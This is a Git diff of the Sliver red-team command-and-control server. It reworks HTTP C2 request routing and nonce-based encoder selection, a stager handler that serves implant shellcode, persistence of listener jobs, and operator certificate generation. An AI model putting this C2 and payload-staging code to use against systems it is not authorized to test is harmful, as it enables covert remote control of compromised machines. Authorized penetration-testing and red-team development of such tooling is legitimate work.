string ID = 1;
|
||||
|
||||
bool IsFile = 2;
|
||||
HTTPC2SegmentType SegmentType = 3;
|
||||
string Value = 4;
|
||||
string Value = 3;
|
||||
}
|
||||
|
||||
// [ Credentials ] ----------------------------------------
|
||||
|
||||
+1305
-1295
File diff suppressed because it is too large.
Load diff
@@ -106,8 +106,10 @@ message KillReq {
|
||||
}
|
||||
|
||||
|
||||
// PsReq - Request the implant to list ses of a remote session.
|
||||
// PsReq - Request the implant to list processes of a remote session.
|
||||
message PsReq {
|
||||
bool FullInfo = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
|
||||
@@ -291,6 +291,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
|
||||
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
|
||||
+139
-129
@@ -31,7 +31,6 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -42,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
@@ -51,6 +51,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/website"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
sliverEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
|
||||
"github.com/gorilla/mux"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -64,6 +65,7 @@ var (
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrDecryptFailed = errors.New("failed to decrypt request")
|
||||
serverConfig = configs.GetServerConfig()
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -346,17 +348,6 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
|
||||
}
|
||||
|
||||
// start stager handlers, extension are unique accross all profiles
|
||||
for _, c2Config := range c2Configs.Configs {
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExtension),
|
||||
s.stagerHandler,
|
||||
).Methods(http.MethodGet)
|
||||
}
|
||||
|
||||
router.HandleFunc("/{rpath:.*}", s.mainHandler).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
router.Use(loggingMiddleware)
|
||||
@@ -369,34 +360,61 @@ func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
|
||||
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d'", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (uint64, error) {
|
||||
func getNoncesFromURL(reqURL *url.URL, length int32) ([]uint64, error) {
|
||||
qNonce := ""
|
||||
nonces := []uint64{}
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
if len(arg) == int(length) || int(length) == 0 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
nonces = append(nonces, nonce)
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
|
||||
for _, segment := range strings.Split(reqURL.Path, "/") {
|
||||
qNonce = digitsOnly(segment)
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
nonces = append(nonces, nonce)
|
||||
}
|
||||
|
||||
if len(nonces) == 0 {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
return []uint64{}, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
|
||||
return nonces, nil
|
||||
}
|
||||
|
||||
func getEncoder(reqURL *url.URL, c2config *clientpb.HTTPC2Config) (sliverEncoders.Encoder, error) {
|
||||
var (
|
||||
err error
|
||||
nonces []uint64
|
||||
)
|
||||
|
||||
if c2config != nil {
|
||||
nonces, err = getNoncesFromURL(reqURL, c2config.ImplantConfig.NonceQueryLength)
|
||||
} else {
|
||||
// anonymous handler calling, we don't know the expected nonce length
|
||||
nonces, err = getNoncesFromURL(reqURL, 0)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
return nil, fmt.Errorf("no encoder found")
|
||||
}
|
||||
return nonce, nil
|
||||
|
||||
for _, nonce := range nonces {
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err == nil {
|
||||
return encoder, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("no encoder found")
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
@@ -424,23 +442,15 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
err error
|
||||
)
|
||||
|
||||
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
|
||||
// Check if the requests matches an existing session
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession != nil {
|
||||
// find correct c2 profile and from there call correct handler
|
||||
// find correct c2 profile
|
||||
profile, err = db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
for _, c2profile := range s.c2Config {
|
||||
if extension == c2profile.ImplantConfig.StartSessionFileExtension {
|
||||
profile = c2profile
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if profile != nil {
|
||||
@@ -456,7 +466,19 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
} else {
|
||||
// for anonymous requests user server-wide defaults
|
||||
for _, header := range serverConfig.HTTPDefaults.Headers {
|
||||
if 0 < header.Probability && header.Probability < 100 {
|
||||
roll := insecureRand.Intn(99) + 1
|
||||
if header.Probability < int32(roll) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
@@ -489,54 +511,60 @@ func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Reques
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
func (s *SliverHTTPC2) mainHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
|
||||
|
||||
// Check if the requests matches an existing session
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession != nil {
|
||||
// find correct c2 profile and from there call correct handler
|
||||
c2Config, err := db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
if extension == c2Config.ImplantConfig.PollFileExtension {
|
||||
s.pollHandler(resp, req)
|
||||
return
|
||||
} else if extension == c2Config.ImplantConfig.CloseFileExtension {
|
||||
s.closeHandler(resp, req)
|
||||
return
|
||||
} else if extension == c2Config.ImplantConfig.SessionFileExtension {
|
||||
s.sessionHandler(resp, req)
|
||||
return
|
||||
} else {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
s.authenticatedHandler(resp, req, httpSession)
|
||||
return
|
||||
} else {
|
||||
s.anonymousHandler(resp, req)
|
||||
return
|
||||
}
|
||||
|
||||
// check if this is a new session
|
||||
for _, profile := range s.c2Config {
|
||||
if extension == profile.ImplantConfig.StartSessionFileExtension {
|
||||
s.startSessionHandler(resp, req)
|
||||
return
|
||||
}
|
||||
}
|
||||
// redirect to default page
|
||||
httpLog.Debugf("No pattern matches for request uri")
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
func (s *SliverHTTPC2) authenticatedHandler(resp http.ResponseWriter, req *http.Request, session *HTTPSession) {
|
||||
// Poll, session and close requests
|
||||
c2Config, err := db.LoadHTTPC2ConfigByName(session.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
encoder, err := getEncoder(req.URL, c2Config)
|
||||
if err != nil {
|
||||
s.closeHandler(resp, req, session)
|
||||
}
|
||||
|
||||
if req.Method == http.MethodPost {
|
||||
s.sessionHandler(resp, req, session, c2Config, encoder)
|
||||
return
|
||||
} else if req.Method == http.MethodGet {
|
||||
s.pollHandler(resp, req, session, encoder)
|
||||
return
|
||||
} else {
|
||||
// unsupported http method
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
// start session and staging requests
|
||||
|
||||
encoder, err := getEncoder(req.URL, nil)
|
||||
if err != nil {
|
||||
s.stagerHandler(resp, req)
|
||||
return
|
||||
} else {
|
||||
s.startSessionHandler(resp, req, encoder)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
body, err := io.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
@@ -615,16 +643,11 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
resp.Write(respData)
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req)
|
||||
plaintext, err := s.readReqBody(httpSession, resp, req, c2profile, encoder)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to decode request body: %s", err)
|
||||
s.defaultHandler(resp, req)
|
||||
@@ -656,18 +679,10 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession, encoder sliverEncoders.Encoder) {
|
||||
httpLog.Debug("Poll request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpSession.ImplantConn.UpdateLastMessage()
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.ImplantConn.Send:
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
@@ -691,14 +706,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
s.defaultHandler(resp, req)
|
||||
return nil, ErrInvalidEncoder
|
||||
}
|
||||
func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request, c2profile *clientpb.HTTPC2Config, encoder sliverEncoders.Encoder) ([]byte, error) {
|
||||
|
||||
body, err := io.ReadAll(&io.LimitedReader{
|
||||
R: req.Body,
|
||||
@@ -737,14 +745,8 @@ func (s *SliverHTTPC2) getServerPollTimeout() time.Duration {
|
||||
return pollTimeout
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request, httpSession *HTTPSession) {
|
||||
httpLog.Debug("Close request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
for _, cookie := range req.Cookies() {
|
||||
cookie.MaxAge = -1
|
||||
http.SetCookie(resp, cookie)
|
||||
@@ -755,30 +757,38 @@ func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request)
|
||||
|
||||
// stagerHandler - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
httpLog.Debug("Stager request")
|
||||
if nonce != 0 {
|
||||
resourceID, err := db.ResourceIDByValue(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("No profile with id %#v", nonce)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
|
||||
if build.Stage {
|
||||
payload, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
httpLog.Infof("Unable to retrieve Implant build %s", build)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
|
||||
var (
|
||||
resourceID *clientpb.ResourceID
|
||||
err error
|
||||
)
|
||||
|
||||
nonces, err := getNoncesFromURL(req.URL, 0)
|
||||
if err != nil {
|
||||
s.defaultHandler(resp, req)
|
||||
}
|
||||
|
||||
for _, nonce := range nonces {
|
||||
resourceID, err = db.ResourceIDByValue(nonce)
|
||||
if err == nil {
|
||||
httpLog.Debug("Stager request")
|
||||
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
|
||||
if build.Stage {
|
||||
payload, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
httpLog.Infof("Unable to retrieve Implant build %s", build)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(payload)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
}
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(payload)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
}
|
||||
}
|
||||
|
||||
s.defaultHandler(resp, req)
|
||||
}
|
||||
|
||||
|
||||
+13
-2
@@ -34,6 +34,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
)
|
||||
@@ -86,6 +87,16 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
|
||||
JobCtrl: make(chan bool),
|
||||
}
|
||||
|
||||
listenerJob := &clientpb.ListenerJob{
|
||||
JobID: uint32(job.ID),
|
||||
Type: constants.WGStr,
|
||||
WGConf: wgListener,
|
||||
}
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
done := make(chan bool)
|
||||
|
||||
@@ -229,7 +240,7 @@ func StartHTTPListenerJob(req *clientpb.HTTPListenerReq) (*core.Job, error) {
|
||||
}
|
||||
|
||||
// StartTCPStagerListenerJob - Start a TCP staging payload listener
|
||||
func StartTCPStagerListenerJob(host string, port uint16, profileName string, shellcode []byte) (*core.Job, error) {
|
||||
func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode []byte) (*core.Job, error) {
|
||||
ln, err := StartTCPListener(host, port, shellcode)
|
||||
if err != nil {
|
||||
return nil, err // If we fail to bind don't setup the Job
|
||||
@@ -241,8 +252,8 @@ func StartTCPStagerListenerJob(host string, port uint16, profileName string, she
|
||||
Description: "Raw TCP listener (stager only)",
|
||||
Protocol: "tcp",
|
||||
Port: port,
|
||||
ProfileName: profileName,
|
||||
JobCtrl: make(chan bool),
|
||||
ProfileName: name,
|
||||
}
|
||||
|
||||
go func() {
|
||||
|
||||
+1
-1
@@ -60,7 +60,7 @@ func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certi
|
||||
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
|
||||
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
|
||||
certsLog.Infof("Generating certificate authority for '%s'", caType)
|
||||
cert, key := GenerateECCCertificate(caType, commonName, true, false)
|
||||
cert, key := GenerateECCCertificate(caType, commonName, true, false, false)
|
||||
SaveCertificateAuthority(caType, cert, key)
|
||||
}
|
||||
cert, key, err := GetCertificateAuthority(caType)
|
||||
|
||||
@@ -135,7 +135,7 @@ func RemoveCertificate(caType string, keyType string, commonName string) error {
|
||||
// GenerateECCCertificate - Generate a TLS certificate with the given parameters
|
||||
// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc.
|
||||
// Returns two strings `cert` and `key` (PEM Encoded).
|
||||
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
|
||||
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool, isOperator bool) ([]byte, []byte) {
|
||||
|
||||
certsLog.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName)
|
||||
|
||||
@@ -143,7 +143,13 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
|
||||
var err error
|
||||
|
||||
// Generate private key
|
||||
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
|
||||
var curves []elliptic.Curve
|
||||
if isOperator {
|
||||
curves = []elliptic.Curve{elliptic.P256()}
|
||||
} else {
|
||||
curves = []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
|
||||
}
|
||||
|
||||
curve := curves[randomInt(len(curves))]
|
||||
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
|
||||
if err != nil {
|
||||
|
||||
@@ -26,14 +26,14 @@ const (
|
||||
|
||||
// MtlsC2ServerGenerateECCCertificate - Generate a server certificate signed with a given CA
|
||||
func MtlsC2ServerGenerateECCCertificate(host string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false)
|
||||
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false, false)
|
||||
err := saveCertificate(MtlsServerCA, ECCKey, host, cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
|
||||
// MtlsC2ImplantGenerateECCCertificate - Generate a server certificate signed with a given CA
|
||||
func MtlsC2ImplantGenerateECCCertificate(name string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true)
|
||||
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true, false)
|
||||
err := saveCertificate(MtlsImplantCA, ECCKey, name, cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
@@ -37,7 +37,7 @@ const (
|
||||
|
||||
// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA
|
||||
func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true)
|
||||
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true, true)
|
||||
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
@@ -59,7 +59,7 @@ func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) {
|
||||
|
||||
// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA
|
||||
func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) {
|
||||
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false)
|
||||
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false, true)
|
||||
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key)
|
||||
return cert, key, err
|
||||
}
|
||||
|
||||
@@ -123,6 +123,12 @@ func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(id)
|
||||
case constants.TCPListenerStr:
|
||||
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
}
|
||||
db.UpdateHTTPC2Listener(j)
|
||||
}
|
||||
|
||||
+47
-497
@@ -44,21 +44,9 @@ func CheckHTTPC2ConfigErrors(config *clientpb.HTTPC2Config) error {
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrTooFewStagerFiles = errors.New("implant config must specify at least one stager_files value")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonUniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
|
||||
ErrDuplicateStageExt = errors.New("stager extension is already used in another C2 profile")
|
||||
ErrDuplicateStartSessionExt = errors.New("start session extension is already used in another C2 profile")
|
||||
ErrMissingExtensions = errors.New("implant config must specify at least one file extension")
|
||||
ErrMissingFiles = errors.New("implant config must specify at least one files value")
|
||||
ErrMissingPaths = errors.New("implant config must specify at least one paths value")
|
||||
ErrDuplicateC2ProfileName = errors.New("C2 Profile name is already in use")
|
||||
ErrMissingC2ProfileName = errors.New("C2 Profile name is required")
|
||||
ErrC2ProfileNotFound = errors.New("C2 Profile does not exist")
|
||||
@@ -93,44 +81,31 @@ func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
|
||||
|
||||
func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
// min and max used during http c2 config generation
|
||||
if config.MinFileGen < 1 {
|
||||
config.MinFileGen = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
if config.MaxFileGen < config.MinFileGen {
|
||||
config.MaxFileGen = config.MinFileGen
|
||||
}
|
||||
if config.MinPathGen < 0 {
|
||||
config.MinPathGen = 0
|
||||
}
|
||||
if config.MaxPathGen < config.MinPathGen {
|
||||
config.MaxPathGen = config.MinPathGen
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
// Path length used during implant operation
|
||||
if config.MinPathLength < 1 {
|
||||
config.MinPathLength = 1
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExtension = coerceFileExt(config.StagerFileExtension)
|
||||
if config.StagerFileExtension == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
if config.MaxPathLength < config.MinPathLength {
|
||||
config.MaxPathLength = config.MinPathLength
|
||||
}
|
||||
|
||||
// File Extensions
|
||||
config.PollFileExtension = coerceFileExt(config.PollFileExtension)
|
||||
if config.PollFileExtension == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.StartSessionFileExtension = coerceFileExt(config.StartSessionFileExtension)
|
||||
if config.StartSessionFileExtension == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExtension = coerceFileExt(config.SessionFileExtension)
|
||||
if config.SessionFileExtension == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.CloseFileExtension = coerceFileExt(config.CloseFileExtension)
|
||||
if config.CloseFileExtension == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
if len(config.Extensions) < 1 {
|
||||
return ErrMissingExtensions
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -156,22 +131,24 @@ func GenerateDefaultHTTPC2Config() *clientpb.HTTPC2Config {
|
||||
pathSegments := GenerateHTTPC2DefaultPathSegment()
|
||||
|
||||
implantConfig := clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: "",
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: 4,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 4,
|
||||
MinPaths: 2,
|
||||
StagerFileExtension: "woff",
|
||||
PollFileExtension: "js",
|
||||
StartSessionFileExtension: "html",
|
||||
SessionFileExtension: "php",
|
||||
CloseFileExtension: "png",
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: "",
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
|
||||
NonceQueryLength: 1,
|
||||
NonceMode: "UrlParam", // Url or UrlParam
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: 4,
|
||||
MinFileGen: 2,
|
||||
MaxPathGen: 4,
|
||||
MinPathGen: 2,
|
||||
MaxPathLength: 4,
|
||||
MinPathLength: 2,
|
||||
Extensions: []string{
|
||||
"js", "", "php",
|
||||
},
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
@@ -216,73 +193,21 @@ func GenerateHTTPC2DefaultPathSegment() []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
/*
|
||||
IsFile bool
|
||||
SegmentType int32 // Poll, Session, Close, stager
|
||||
Value string
|
||||
*/
|
||||
|
||||
// files
|
||||
for _, poll := range PollFiles {
|
||||
for _, file := range Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
